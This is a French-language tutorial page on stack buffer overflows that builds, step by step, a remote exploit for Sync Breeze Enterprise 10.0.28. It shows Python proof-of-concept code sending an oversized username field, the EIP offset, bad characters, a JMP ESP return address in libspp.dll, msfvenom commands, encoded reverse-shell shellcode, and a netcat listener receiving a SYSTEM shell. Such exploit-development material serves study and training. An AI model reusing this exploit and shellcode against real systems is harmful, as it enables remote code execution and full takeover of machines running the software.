Skip to content

Stack Overflow

Les dépassements de tampon basés sur la pile (stack) sont causés par un trop-plein d'écriture au sein d'une variable stockée dans la pile.

Théorie

Exemple de programme vulnérable à un stack buffer overflow :

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char buffer[64];

  if (argc < 2)
  {
    printf("Supply at least one argument\n");
    return 1;
  }

  strcpy(buffer, argv[1]);

  return 0;
}

Ce programme déclare une variable local nommée buffer de 64 caractères. Un espace de 64 bytes dans la pile va donc être réservé pour cette variable à l'exécution.

Cet espace sera réservé au sein de la stack frame de la fonction main du programme.

Les variables locales ont une scope locale et ne sont donc accessibles que dans le cadre de la fonction ou du bloc dans lequel elles sont déclarées. Les variables globales sont stockées dans la section .data du programme, se trouvant dans un autre espace mémoire accessible a tout le code.

La fonction strcpy définie dans string.h copie l'argument fourni en paramètre à main dans la variable buffer.

Dans le cas de ce programme

  • Si l'argument fait 64 bytes ou moins, le programme va fonctionner
  • Si l'argument fait plus que 64 des parties adjacentes au buffer dans la pile vont être reécrites entrainant un dépassement de tampon

Si le dépassement de tampon est assez large l'attaquant pourrait être capable de réécrire l'adresse de retour de la fonction vulnérable sur la pile avec de la donnée arbitraire.

Quand une fonction termine son exécution, l'adresse de retour est récupérée depuis la pile et pour restaurer le flot d'exécution à la fonction appelante

Dans notre exemple :

  • Pour la fonction main l'adresse de retour réécrite à la suite du dépassement de tampon est mise dans le registre Extended Instruction Pointer (EIP)
  • Le CPU va donc essayer de lire l'adresse de l'instruction suivante à partir de l'adresse dans EIP
    • 0x41414141 (0x41 étant le code hexadécimal de A)
  • Comme cela n'est pas une adresse valide le CPU va renvoyer une erreur access violation et l'application va s'arrêter

Le registre EIP est utilisé directement par le CPU pour exécuter du code au niveau assembleur. Obtenir un accès à EIP permettrait d'exécuter du code arbitraire.

Pratique

L'exemple utilisé sera l'exploit portant sur l'application Sync Breeze Enterprise 10.0.28.

Identifier le dépassement

La première étape est d'identifier la présence du dépassement de tampon. L'identification passe généralement par trois axes :

  • Analyse de code
  • Rétro-ingénierie
  • Fuzzing

Dans ce cas, c'est le champ username de la requête qui est vulnérable.

Début de la preuve de concept en Python :

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]

  port = 80
  size = 800

  inputBuffer = b"A" * size
  content = b"username=" + inputBuffer + b"&password=A"

  buffer = b"POST /login HTTP/1.1\r\n"
  buffer += b"Host: " + server.encode() + b"\r\n"
[...]
  buffer += content

Si on s'attache au service avec WinDbg et qu'on exécute cette preuve de concept, on obtient le résultat suivant :

(1ed8.25d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0060c0eb edx=0000034f esi=00603966 edi=00e83570
eip=41414141 esp=01eb745c ebp=005ff5b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???

L'envoi de 800 bytes dans le champ username entraine bien un dépassement de tampon. Le registre EIP est initialisé à 4141414.

Contrôler le registre EIP

Une fois le dépassement identifié, l'objectif principal est de :

  • Contrôler le registre EIP pour maitriser le flot d'exécution de l'application
  • Injecter du code arbitraire malicieux au sein de l'espace mémoire du processus cible
  • Rediriger le flot d'exécution dessus pour obtenir par exemple un reverse shell

On sait juste qu'une partie de nos A ont rempli EIP. Mais on a besoin de savoir quelle partie exactement remplit EIP.

Pour cela on va envoyer une chaine de caractère non répétitive qui permet d'identifier instantanément la position des 4 bytes présents dans EIP. On utilise l'outil msf-pattern_create :

$ msf-pattern_create -l 800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba

On modifie la preuve de concept en remplaçant les A par la chaine générée :

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]

  port = 80

  inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"

  content = b"username=" + inputBuffer + b"&password=A"
[...]

WinDbg suite à l'exécution de l'exploit :

(20ec.1440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0063ed43 edx=0000034f esi=00633e86 edi=00d33570
eip=42306142 esp=01b6745c ebp=00632b68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
42306142 ??              ???

Le registre EIP contient 42306142 qui est la version hexadécimale de B0aB que l'on retrouve bien dans la chaine générée par msf-pattern_create.

Pour identifier l'offset exacte, on peut utiliser msf-pattern_offset :

$ msf-pattern_offset -l 800 -q 42306142
[*] Exact match at offset 780

On modifie la preuve de concept en adaptant le nombre de A et en réécrivant EIP spécifiquement avec des B :

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]

  port = 80

  filler = b"A" * 780
  eip = b"B" * 4
  garbage = b"C" * 16
  inputBuffer = filler + eip + garbage
  content = b"username=" + inputBuffer + b"&password=A"
  [...]

WinDbg suite à l'exécution de l'exploit :

(a10.608): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0059ae13 edx=0000034f esi=00594a76 edi=00de3570
eip=42424242 esp=01a1745c ebp=005923d8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
42424242 ??              ???

Le registre EIP contient 42424242 qui corresponds bien à BBBB, le registre est donc correctement sous notre contrôle.

Chercher de l'espace

EIP est sous notre contrôle, mais il faut identifier la bonne adresse à stocker dedans pour rediriger le flot d'exécution vers l'espace mémoire ou l'ont aura stocké notre shellcode. Le shellcode doit être dans l'espace mémoire du processus.

WinDbg suite à l'exécution de l'exploit :

0:009> dds esp -10 L8
01a1744c  41414141
01a17450  41414141                # Fin des 780 `A`
01a17454  42424242                # EIP avec des 4 `B`
01a17458  43434343                # Les quatre premiers `C`
01a1745c  43434343                # Adresse pointée par ESP
01a17460  43434343
01a17464  43434343
01a17468  00de7500

Un payload de reverse shell standard requiert approximativement 350 a 400 bytes d'espace. Dans la liste ci-dessus on voit 4x4 bytes dans le buffer ce qui n'est pas assez grand pour le shellcode.

Il faut agrandir le buffer de 800 à 1500 et s'assurer que le shellcode aura assez de place sans casser la condition du dépassement de tampon ou la nature d'arrêt de l'application.

On modifie la preuve de concept en augmentant la taille du futur shellcode :

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]
  port = 80

  filler = b"A" * 780
  eip = b"B" * 4
  # Permet de venir temporiser avant d'arriver dans ESP
  offset = b"C" * 4
  # Adresse pointee par ESP et suite
  shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
  inputBuffer = filler + eip + offset + shellcode

  content = b"username=" + inputBuffer + b"&password=A"

WinDbg suite à l'exécution de l'exploit :

0:011> dds esp L10
01bb745c  44444444
01bb7460  44444444
01bb7464  44444444
01bb7468  44444444
01bb746c  44444444
01bb7470  44444444
01bb7474  44444444
01bb7478  44444444
01bb747c  44444444
01bb7480  44444444
01bb7484  44444444
01bb7488  44444444
01bb748c  44444444
01bb7490  44444444
01bb7494  44444444
01bb7498  44444444
#
#
0:011> .formats 2c0
Evaluate expression:
  Hex:     000002c0
  Decimal: 704
#
# Il y a 712 `D` car `712` = 1500 - (780 (`A`) + 4 (`C`) + 4 (`C`))
#  On va lire jusqu'a `ESP` +`704` et il reste bien `8` * `D`
0:011> dds esp+2c0 L4
01bb771c  44444444
01bb7720  44444444
01bb7724  00000000
01bb7728  00000000
#
#
0:011> ? 01bb7724 - 01bb745c
Evaluate expression: 712 = 000002c8

Identifier les mauvais caractères

En fonction de l'application, du type de vulnérabilité ou du protocole utilise certains caractères sont considéré comme bad. Les bad char ne doivent pas être utilisés dans le buffer, l'adresse de retour ou le shellcode.

Un caractère est considéré comme bad s'il entraine un changement dans la nature du crash ou une déformation en mémoire tel que 0x00 qui est le null byte.

Le caractère 0x00 doit être systématiquement évité.

Il faut tester et identifier l'ensemble des bad caractères a chaque développement d'exploit en envoyant l'ensemble des caractères possible entre 0x00 et 0xFF au sein du buffer pour observer la réaction de l'application.

On modifie la preuve de concept afin d'inclure l'ensemble des caractères possible sauf 0x00 :

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]

  port = 80

  filler = b"A" * 780
  eip = b"B" * 4
  offset = b"C" * 4
  badchar = (
    b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

  inputBuffer = filler + eip + offset + badchar

  content = b"username=" + inputBuffer + b"&password=A"
[...]

WinDbg suite à l'exécution de l'exploit :

(13dc.2314): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0069a5e2 edx=0000032e esi=00692c3e edi=00e23570
eip=42424242 esp=01a5745c ebp=0068d088 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
42424242 ??              ???
#
#
0:009> db esp -10 L20
01a5744c  41 41 41 41 41 41 41 41-42 42 42 42 43 43 43 43  AAAAAAAABBBBCCCC
01a5745c  01 02 03 04 05 06 07 08-09 00 e3 00 20 76 e2 00  ............ v..

On voit qu'il y a un passage de 0x09 à 0x00, 0x0a n'est pas présent. 0x0a représente un saut de ligne (line feed) qui permet de terminer un champ HTTP (retour à la ligne).

On retire donc 0x0a de notre liste de caractères. On réitère ce même processus jusqu'à identifier l'ensemble des mauvais caractères.

La liste finale des mauvais caractères est 0x00 - 0x0a - 0x0d - 0x25 - 0x26 - 0x2b - 0x3d.

Redirection du flot d'exécution

Il faut maintenant rediriger le flot d'exécution vers le shellcode stocké à l'adresse mémoire ou le registre ESP pointe. Intuitivement, on voudrait mettre l'adresse pointée par ESP dans EIP à la place des B mais l'adresse change à chaque exécution.

Trouver une adresse de retour

On va toujours stocker notre shellcode à partir de l'adresse stockée dans ESP, mais on a besoin d'un moyen efficace pour exécuter ce code. Une solution est d'utiliser l'instruction JMP ESP qui permet de sauter jusqu'à l'adresse pointée par ESP.

Si on trouve une adresse statique contenant cette instruction on peut rediriger EIP dessus. Ainsi l'instruction JMP ESP sera exécutée entrainant l'exécution du shellcode.

De nombres libraries contiennent cette instruction. Certains criteres sont a respecter tel que :

  • L'adresse doit être statique et donc pas de librairies compilées en ASLR
  • Adresse sans bad char pour ne pas briser l'exploit comme l'adresse va faire parti du buffer

L'identification des protections en place sur un binaire peut se faire à travers l'analyse manuelle des structures du PE. Ou bien à travers l'utilisation d'outil tel que Process Hacker.

Dans le cadre de l'exemple utilisé, la librairie libspp.dll ne possède aucune protection et son Image base ne contient pas de bad char.

On doit maintenant trouver une instruction JMP ESP dans ce module. On utilise le module MSF NASM pour obtenir les opcodes équivalents à jmp esp :

$ msf-nasm_shell
nasm > jmp esp
00000000  FFE4              jmp esp

Les opcodes à chercher sont 0xFF et 0xE4, on peut les chercher avec la commande Search (s) de WinDbg.

On affiche les adresses de début et de fin du module libspp.dll :

0:011> lm m libspp
Browse full module list
start    end        module name
10000000 10223000   libspp     (deferred)

On cherche entre l'adresse 10000000 et l'adresse 10223000 les opcodes 0xFF et 0xE4 :

0:011> s -b 10000000 10223000 0xFF 0xE4
10090c83  ff e4 0b 09 10 02 0c 09-10 24 0c 09 10 46 0c 09  .........$...F..

WinDbg trouve l'adresse 10090c83 au sein du module qui contient ces 2 opcodes. L'adresse ne contient aucun bad char. On affiche le contenus de l'adresse :

0:011> u 10090c83
10090c83 ffe4            jmp     esp
[...]

On modifie la preuve de concept en indiquant l'adresse identifiée au format little endian, format le plus utilisé :

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]

  port = 80

  filler = b"A" * 780
  eip = b"\x83\x0c\x09\x10" # 10090c83 - JMP ESP
  offset = b"C" * 4
  shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
  inputBuffer = filler + eip + offset + shellcode
  content = b"username=" + inputBuffer + b"&password=A"

WinDbg suite à l'exécution de l'exploit :

#
# On definis un `break point` sur l'adresse contenant `JMP ESP`
0:011> bp 10090c83
#
# Relancer l'exécution
0:011> g
#
# EIP est correctement initialisé avec l'adresse contenant `JMP ESP`
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0062102b edx=0000034f esi=00611a5e edi=00e53570
eip=10090c83 esp=0218745c ebp=0060d9c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4            jmp     esp {0218745c}
#
# On avance d’une étape
# EIP contient maintenant `0218745c` qui est bien l'adresse présente dans `ESP`
0:011> t
eax=00000001 ebx=00000000 ecx=0062102b edx=0000034f esi=00611a5e edi=00e53570
eip=0218745c esp=0218745c ebp=0060d9c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0218745c 44              inc     esp
#
#
0:011> dc EIP l4
0218745c  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD

Génération d'un shellcode

L'outil msfvenom permet de générer facilement des shellcode complexes. Il est important de générer un shellcode ne contenant aucun des bad char identifiés.

Pour cela on doit utiliser un encodeur pour générer un shellcode sans bad char. L'encodeur va remplacer les bad char par d'autres caractères autorisés sans impacter le fonctionnement du shellcode :

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

Le shellcode généré et encodé par msfvenom n'est pas directement exécutable, car il est précédé d'un décodeur. La routine du décodeur entraine des modifications des bytes du décodeur lui-même ce qui entraine l'erreur du processus de décodage.

Pour résoudre ce problème il faut créer une zone tampon pour JMP ESP pour éviter que le shellcode soit modifié avec l'instruction NOP (0x90).

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -v shellcode

#!/usr/bin/python
import socket
import sys

try:
  server = sys.argv[1]

  port = 80

  filler = b"A" * 780
  eip = b"\x83\x0c\x09\x10" # 10090c83 - JMP ESP
  offset = b"C" * 4
  nops = b"\x90" * 10       # Zone tampon

  shellcode = bytearray(
"\xd9\xc5\xd9\x74\x24\xf4\xb8\xe5\xb0\xc8\xeb\x5b\x31\xc9"
"\xb1\x52\x31\x43\x17\x83\xeb\xfc\x03\xa6\xa3\x2a\x1e\xd4"
"\x2c\x28\xe1\x24\xad\x4d\x6b\xc1\x9c\x4d\x0f\x82\x8f\x7d"
"\x5b\xc6\x23\xf5\x09\xf2\xb0\x7b\x86\xf5\x71\x31\xf0\x38"
"\x81\x6a\xc0\x5b\x01\x71\x15\xbb\x38\xba\x68\xba\x7d\xa7"
"\x81\xee\xd6\xa3\x34\x1e\x52\xf9\x84\x95\x28\xef\x8c\x4a"
"\xf8\x0e\xbc\xdd\x72\x49\x1e\xdc\x57\xe1\x17\xc6\xb4\xcc"
"\xee\x7d\x0e\xba\xf0\x57\x5e\x43\x5e\x96\x6e\xb6\x9e\xdf"
"\x49\x29\xd5\x29\xaa\xd4\xee\xee\xd0\x02\x7a\xf4\x73\xc0"
"\xdc\xd0\x82\x05\xba\x93\x89\xe2\xc8\xfb\x8d\xf5\x1d\x70"
"\xa9\x7e\xa0\x56\x3b\xc4\x87\x72\x67\x9e\xa6\x23\xcd\x71"
"\xd6\x33\xae\x2e\x72\x38\x43\x3a\x0f\x63\x0c\x8f\x22\x9b"
"\xcc\x87\x35\xe8\xfe\x08\xee\x66\xb3\xc1\x28\x71\xb4\xfb"
"\x8d\xed\x4b\x04\xee\x24\x88\x50\xbe\x5e\x39\xd9\x55\x9e"
"\xc6\x0c\xf9\xce\x68\xff\xba\xbe\xc8\xaf\x52\xd4\xc6\x90"
"\x43\xd7\x0c\xb9\xee\x22\xc7\x06\x46\x01\xad\xef\x95\x59"
"\xd0\x54\x10\xbf\xb8\xba\x75\x68\x55\x22\xdc\xe2\xc4\xab"
"\xca\x8f\xc7\x20\xf9\x70\x89\xc0\x74\x62\x7e\x21\xc3\xd8"
"\x29\x3e\xf9\x74\xb5\xad\x66\x84\xb0\xcd\x30\xd3\x95\x20"
"\x49\xb1\x0b\x1a\xe3\xa7\xd1\xfa\xcc\x63\x0e\x3f\xd2\x6a"
"\xc3\x7b\xf0\x7c\x1d\x83\xbc\x28\xf1\xd2\x6a\x86\xb7\x8c"
"\xdc\x70\x6e\x62\xb7\x14\xf7\x48\x08\x62\xf8\x84\xfe\x8a"
"\x49\x71\x47\xb5\x66\x15\x4f\xce\x9a\x85\xb0\x05\x1f\xa5"
"\x52\x8f\x6a\x4e\xcb\x5a\xd7\x13\xec\xb1\x14\x2a\x6f\x33"
"\xe5\xc9\x6f\x36\xe0\x96\x37\xab\x98\x87\xdd\xcb\x0f\xa7"
"\xf7")

  inputBuffer = filler + eip + offset + nops + shellcode
  content = b"username=" + inputBuffer + b"&password=A"

  buffer = b"POST /login HTTP/1.1\r\n"

Exécution de l'exploit et récupération d'un reverse shell :

$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.186] from (UNKNOWN) [192.168.192.10] 52720
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Référence